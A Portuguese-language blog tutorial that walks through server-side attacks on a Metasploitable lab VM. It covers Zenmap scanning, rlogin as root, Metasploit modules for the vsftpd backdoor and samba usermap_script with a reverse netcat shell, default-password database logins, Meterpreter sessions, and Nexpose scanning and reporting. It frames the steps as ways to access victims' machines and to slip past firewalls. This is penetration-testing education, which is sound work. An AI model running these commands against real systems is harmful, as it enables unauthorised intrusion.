Israel Helton Wernik

I'm a Cyber Researcher and Python Programmer.

Ataque pelo servidor - Metasploit - Nexpose

07 Jan 2018 »
Conseguindo acesso ao alvo - Server Side


Há duas formas de conseguir acesso há uma máquina alheia:


Server side
Não precisa de nenhuma interação da vítima, tudo o que precisamos é o IP dela.


Client Server
Precisa de alguma interação da vítima como abrir algum arquivo


Com certeza a melhor forma é utilizar a primeira opção primeiro, se não conseguir tentar a segunda.


Vamos falar um pouco agora sobre a primeira opção.



Se a vítima não estiver no mesmo IP que voce entao voce tera que ultrapassar o Router dela, entao iremos falar sobre depois que voce estiver na mesma subnet que a vítima. Em nosso laboratório estamos na mesma Subnet

Qualquer computador que você conseguir fazer ping, você pode utilizar esses métodos de server side.


  1. Coletar Informações



Vamos tentar procurar por vulnerabilidades utilizando o metasploitable, que está na mesma subnet que o Kali

abrir o Zenmap e colocar no target. Isso pode ser com qualquer computador ou Site.




Deve-se verificar cada porta, ler sobre ela e procurar no google.

Vemos que tem uma porta 21/tcp com serviço ftp aberta FTP significa File Transfer Protocol (Protocolo de Transferência de Arquivos), e é uma forma bastante rápida e versátil de transferir arquivos (também conhecidos como ficheiros), sendo uma das mais usadas na internet.

Normalmente esse serviço usa um login e senha, mas no nosso teste está como anônimo




Assim não precisa de senha para entrar pela porta 21


o que devemos fazer agora é pesquisar pela versão e ver se tem alguma vulnerabilidade.




Nesse caso se procurarmos terá um backdoor instalado


https://www.exploit-db.com/exploits/17491/


Vamos tentar em outra porta






o que está rodando na porta 512 é um server chamado netkit-rsh rexecd. Vamos procurar por ele no Google

A primeira pagina que encontramos é: http://t2sde.org/packages/netkit-rsh.html
com esse conteúdo:

Contents of the netkit-rsh package:

rexec Password-based remote execution program rsh Non-password-based remote execution program rcp Remote copy program using rsh rlogin Remote login program rshd Daemon for rsh connections rexecd Daemon for rexec connections rlogind Daemon for rlogin connections

Note: None of these programs provide encryption or strong authentication of network connections. As such, their use is discouraged. The "ssh" protocol and package is a cryptographically secure replacement.


Podemos ver que ele usa rsh login que te deixa fazer comandos remotos.


Vamos ver agora como podemos acessar essa porta


Pesquisamos no google: netkit-rsh




Vemos que o alvo usa Linux Ubunto e o package rsh-client
rsh-client: client programs for remote shell connections


e iremos instalar esse pacote


fazemos o comando
> apt-get install rsh-client




vimos que o login é rlogin, e como não sabemos como funciona esse programa faremos um help


> rlogin --help




Podemos ver como utilizar e o importante é o user e host


>rlogin -l root 10.20.14.204


root é o usuario com mais privilégios no sistema
10.20.14.204 é o IP do alvo




e podemos ver que estaremos logado no metasploitable


> id
para ver quem somos
> pwd
para ver aonde estamos
> ls
ver os diretórios
> uname -a





O truque é fazer o Zenmap, procurar por default passwords e problemas de configurações se o service vem com backdoor no google.

Veremos mais exemplos pela frente.


Alguns programas vem com backdoors implementados, veremos isso agora.


Framework Metasploit

Um exploit (em português explorar, significando "usar algo para sua própria vantagem") é um pedaço de software, um pedaço de dados ou uma sequência de comandos que tomam vantagem de um defeito, falha ou vulnerabilidade a fim de causar um comportamento acidental ou imprevisto a ocorrer no software ou hardware de um computador ou em algum eletrônico (normalmente computadorizado). Tal comportamento frequentemente inclui coisas como ganhar o controle de um sistema de computador, permitindo elevação de privilégio ou um ataque de negação de serviço.[1]
Descobrindo um Backdoor
Primeiro fazemos o Nmap com o  Zenmap.


faremos uma pesquisa no google para cada porta




Procuramos no google por vsftpd 2.3.4 exploit


O primeiro resultado vem de um site chamado RAPID7 uma empresa que cria o metsaploit framework


E esse é o conteudo da pagina:

VSFTPD v2.3.4 Backdoor Command Execution

This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.


Se o computador da vítima está rodando esse programa podemos executar comandos em sua máquina




Faremos um uso simples para conhecer o framework


Vemos o nome do módulo no site




o Nome do módulo é:


exploit/unix/ftp/vsftpd_234_backdoor


Abrimos o Terminal e iniciamos o console do metasploitable e iniciamos o módulo :


> msfconsole
> use exploit/unix/ftp/vsftpd_234_backdoor
> show options





Podemos ver que na segunda opção temos a porta que o servidor está rodando, e era isso que vimos no zenmap, não precisamos mudar.

o que precisamos mudar é a primeira opção que diz host target address devemos fazer o comando
set RHOST [IP do Alvo]
Se precisasse mudar a porta faríamos set RPORT [porta]


> set RHOST 10.20.14.204
> show options


Agora somente o comando para rodar o exploit


> exploit




Não aconteceu nada, deve tentar novamente as vezes isso acontece:


> exploit




Agora funcionou


> id
>uname -a
>ls




Vulnerabilidades de execução de código - Payloads

Voltando ao Zenmap vamos tratar essa vulnerabilidade na porta 139 que está rodando samba 3.x




Procuramos no google samba 3.x exploit
há vários resultados, o que mais nos interessa é o do rapid7


Vemos que é um command execution  e o module name é exploit/multi/samba/usermap_script


voltamos ao terminal e fazemos igual:


> use exploit/multi/samba/usermap_script
> show options
> set RHOST [Target IP]
> show options

Antes usamos um backdoor que havia naquele exploit, e a unica coisa que precisavamos fazer era acionar o backdoor e rodar comandos no linux do alvo, dessa vez não há um backdoor, ele tem um programa normal com uma vulnerabilidade no código em que podemos rodar nosso pequeno código. Esses pequenos pedaços de código podem fazer algo útil para o atacante.

Esse pequeno código se chama payloads

precisamos criar um payload e rodar ele no computador do alvo.

para saber os payloads que podem ser usados para esse exploit em particular só precisa rodar o comando:

> show payloads
Todos eles são em unix e isso é bom pois nesse caso nosso alvo usa linux


Tem dois tipos de payload:


bind payloads que abrem uma porta no alvo e nos conecta com essa porta


reverse payloads fazem o oposto, abrem uma porta em minha máquina e conecta o alvo a minha máquina o reverse payload é bom pois ajudam a ultrapassar algum firewall

Também podemos ver a linguagem de programação usada nos payloads como perl, lua, ruby e netcat que é uma ferramenta para acessar o computador


iremos usar o cmd/unix/reverse_netcat


> set payload cmd/unix/reverse_netcat
> show options


podemos ver que há mais opções: listen address que significa o meu proprio IP
fazemos em outro terminal o ipconfig para ver o nosso IP


> set LHOST 10.20.14.203
> show options


Também podemos mudar nossa porta para 80 que é dos navegadores e não será filtrado pelos firewalls, por isso abrimos nossa porta 80 e quando o alvo se conectar a minha porta 80 o firewall achará que é um site no navegador.


não faremos isso agora pois há um server rodando na porta 80 e daria um conflito


> exploit




Metasploit Community

Instalando

É uma ferramenta de teste de penetração de recursos limitados que lhe dá o poder do Metasploit Framework com uma interface gráfica de usuário adicionada para facilitar a navegação e a exploração.

É projetado para estudantes e pequenas empresas que desejam simular com segurança ataques de rede com exploração básica e descoberta de rede.

Pode ser usado como o Zenmap, mas você já consegue ver as vulnerabilidades existentes.

Para obter recursos avançados de teste de penetração, como testes de segmentação de rede, validação de vulnerabilidades e capacidades de engenharia social, baixe uma versão de teste do Metasploit Pro.

  1. Mudar as permissões do executável: > chmod+x[installer file name]
  2. rodar o instalador: > ./[installer file name]
    Depois de completado, o metasploit community pode ser iniciado como um serviço: > service metasploit start
  3. navegue até: https://localhost:3790 e coloque a chave do produto


> cd Downloads
> ls
precisamos mudar as permissões para rodar um executável então fazemos o comando chmod
> chmod +x [installer file name]
> ls
agora o executável estará verde o que significa que pode ser executado
> ./metasploit-latest-linux-x64-installer.run




Segue as orientações para instalar com as portas que ele oferece.


faça seu username e password


Depois de instalado podemos rodar o Metasploit Community com o simples comando
> service metasploit start


Agora vá ao navegador e navegue até: (não esqueça que é https)


https://localhost:3790


Coloque seu login e senha.


Coloque a chave de acesso que recebeu no email de instalação




Usando
Vá em project - New Project

Coloque um nome e no range você colocará o alvo igual no Zenmap ou deixe a subnet com o final 1-254 para toda a rede

E clique em criar projeto


O projeto foi criado e agora só precisamos iniciar o Scan. Eis o resultado




Voltando ao metasploitable vemos as vulnerabilidades:


Vamos para Analysis - Hosts


E podemos ver todos os detalhes dos hosts analisados




Vá ao address: Services





Podemos ver todos os serviços protocolo porta e informações igual no Zenmap, porem com uma interface mais amigavel.

O interessante é quando clicamos em Vulnerabilities.

Clicando em credentials podemos ver qualquer credencial que o programa usa, podemos ver o username e password .



Podemos ver o postgres sql o nome de usuário em public que é postgres e senha que também é postgres. Em acess level vemos que é para administrador


No validates vemos uma chave que há está escrito validated, o que significa que já foi aceito.

Podemos acessar o postgres sql e ver todo o database do alvo. Vamos ver um exemplo de como fazer isso:

Fazemos o comando de acesso ao postgres sql


> psql -h [IP do alvo] -U postgres
h = host
U = username
O sistema pedirá senha e colocamos postgres




Temos acesso e podemos rodar qualquer comando do SQL no computador do alvo

Em Modules podemos ver os módulos de vulnerabilidade que podem ser usados como vimos que tinha o Java RMI em vulnerabilities



Podemos ver o resultado do Scanner e o módulo para exploit




Podemos ir em Launch e rodamos o exploit existente


E podemos pegar o exploit e o acionamos manualmente igual vimos anteriormente
exploit/multi/misc/java_rmi_server.


Ou podemos deixar o metasploit community fazer todo o trabalho por nós




No Target Address colocamos o alvo, depois escolhemos o tipo de conexão, reverse ou bind.


Em payload podemos escolher Command shell ou meterpreter, deixamos em Meterpreter.


Run Module




O módulo foi executado e temos algo muito similar ao que vimos no console.




Lá em cima podemos ver que temos uma session rodando, clicamos lá


E vemos o host que é o metasploitable, o módulo e outros dados. clicamos no session e:
Em Access Filesystem teremos acesso a todo os arquivos

Podemos também acessar o Command shell com o Meterpreter no qual veremos o que podemos fazer com isso no artigo sobre Pós acesso.

Lembrando que nos modulos , alguns darão acesso completo, outros podem dar a possibilidade de um ataque DDos, o truque é ir tentando cada um vendo quais os acessos que eles podem dar.


Nexpose


Rapid7 Nexpose é um scanner de vulnerabilidade que visa apoiar o ciclo de vida de gerenciamento de vulnerabilidade inteiro, incluindo descoberta, detecção, verificação, classificação de risco, análise de impacto, geração de relatórios e mitigação. Ele se integra com o Rapid7 Metasploit para a exploração da vulnerabilidade. É vendido como software autônomo, um aparelho, máquina virtual, ou como um serviço gerenciado ou implementação de nuvem privada. A interação do usuário é através de um navegador web. Há uma edição da comunidade livre, mas limitada, bem como versões comerciais que começam em US $ 2.000 por usuário por ano. Para downloads e mais informações, visite a página inicial Nexpose.

A diferença é que o Nexpose uti;iza um banco de dados de exploit além do rapid7, mostra mais vulnerabilidades e também ajuda a escrever um relatório no final para o pessoal técnico e um relatório mais simples para os diretores.

Instalação
Baixar do site https://www.rapid7.com/info/nexpose-community/


Desligar o postgresql
> service postgresql stop


> cd Downloads
> ls
precisamos mudar as permissões para rodar um executável então fazemos o comando chmod
> chmod +x [installer file name]
> ls
agora o executável estará verde o que significa que pode ser executado




Vai seguindo os comandos de instalação.





Podemos ver que há um problema de incompatibilidade com o Linux utilizado pois ele só é compatível com o Kali 2, por isso devemos mudar alguns arquivos em nosso sistema para enganar o instalador e parecer com o Kali 2.

Devemos abrir o explorador de arquivos do kali e digitar:

/etc/lsb-release

Antes de mudar esse arquivo é bom fazer um backup dele, devemos criar uma pasta backup e copiar o lsb-release original lá

Agora mudamos o arquivo lsb-release original




e trocamos por esse texto:


DISTRIB_ID=Kali
DISTRIB_RELEASE=2.0
DISTRIB_CODENAME=sana
DISTRIB_DESCRIPTION="Kali GNU/Linux 2.0"




Fazer o mesmo procedimento com o arquivo


/usr/lib/os-release


Colar esse texto:


PRETTY_NAME="Kali GNU/Linux 2.0 (sana)"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2.0 (sana)"
VERSION_ID="2.0"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="kali.org/"
SUPPORT_URL="forums.kali.org/"
BUG_REPORT_URL="bugs.kali.org/"


Rodar novamente o instalador.


Se a porta database estiver com problema pode usar a 5435




Instalação concluída e podemos ver os comandos para iniciar o Nexpose.

Devemos lembrar de mudar novamente os arquivos que mudamos para enganar o instalador colocando os originais.

Utilizando o Nexpose

Se você encontrar o "Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 7337?" de erro durante a instalação do Metasploit, você já pode ter um banco de dados PostgreSQL existente instalado na máquina. Esse problema normalmente ocorre quando você ter Nexpose instalado no mesmo sistema.

Se você já tiver um servidor Postgres instalado, você precisará especificar uma porta de servidor de banco de dados diferente para Metasploit de usar. Você pode fazer isso durante o processo de instalação. Em vez de usar a porta padrão para o servidor de banco de dados, você pode especificar uma porta diferente na tela abaixo:
Ou você pode Sempre antes de rodar o Nexpose desligar o posgresql.


Vamos iniciar desligando o sql
> service postgresql stop
> cd /opt/rapid7//nexpose/
> ls
> cd nsc
> ls
> ./nsc.sh
Foi instalado com sucesso e podemos acessar a ferramenta pelo navegador no https://localhost:3780/




Vá ao site e faça o login e senha e colar a chave que recebeu no email.


No menu à esquerda vá em Home.


Create - Site




Coloque o nome: daremos Metasploitable

Em Assets colocaremos nosso alvo, pode ser um range ou um IP especifico igual ao Zenmap. Colocaremos o de nosso metasploitable.

Em Assets colocamos nosso alvo


Em Authentication você pode acrescentar senhas de seu alvo.
Em Templates é como os tipos de scanners do Zenmap.
Alerts é onde veremos as vulnerabilidades.
Schedules para programar algum Scan diário, semanal ou em alguma data especifica.


Vamos comecar:


Em assets colocamos nosso alvo, em templates escolhemos um Scan, Save & Scan




Analisando resultados e criando relatório
O Scanner está pronto e em assets podemos ver o resultado, que tem um Assets, o sistema é Ubuntu e o skill que você precisa para acessar é Novice.



Abaixo vemos os detalhes do alvo




Tem 0 Malware
177 exploits
308 Vulnerabilities (No metasploit Community vimos somente 8)


Podemos ver os Softwares instalados, o que é muito útil apos entrar no alvo.

Mais para baixo vemos os serviços rodando no qual podemos ver http, dns. Clicamos com o botao direito no http e abrimos em outra aba


Descrição dos http
Podemos ver as portas abertas.


Agora para vermos as vulnerabilidades, no menu do lado esquerdo clicamos em vulnerability




Veremos um gráfico sobre as vulnerabilidades categorizadas por grau de risco e outro por grau de experiência para utilizar a vulnerabilidade.

Mais para baixo vemos cada vulnerabilidade, se tem algum exploit ou malware, e também o risco, vemos que o primeiro com 989 de risco é VNC password is "password"


VNC é um serviço bem parecido com remote desktop que significa Virtual Network Computing, um sistema de compartilhamento gráfico de desktop que usa o Remote Frame Buffer protocol para remotamente controlar outro computador

O que nos dá acesso total ao alvo.


O segundo que vemos é um Shell Backdoor Service que já vimos como utilizar.


Para procurar algo que seja metasploitable devemos clicar no ícone do Metasploit.


Podemos ver o rsh que já usamos, o rlogin também.


Vamos utilizar algo novo para testar, o Default Tomcat User and Password


Quando clicamos nele e descemos um pouco esse é o resultado




Mais abaixo ele mostra como pode ser exploitable com 3 modos diferentes para utilização.


Clicando nele seremos redirecionado ao site do rapid7 como fizemos no google.




Mais abaixo vemos o mais importante, como solucionar o problema.




Relatório
Para fazermos o relatório, no menu esquerdo clicamos em reports



Em create report podemos ver três tipos de relatórios, audit report é com vários dados técnicos para o pessoal do TI, depois temos o Executive Overview que mostra dados mais fáceis para quem não entende da parte técnica.

Pode-se fazer esses relatórios automaticamente no schedules.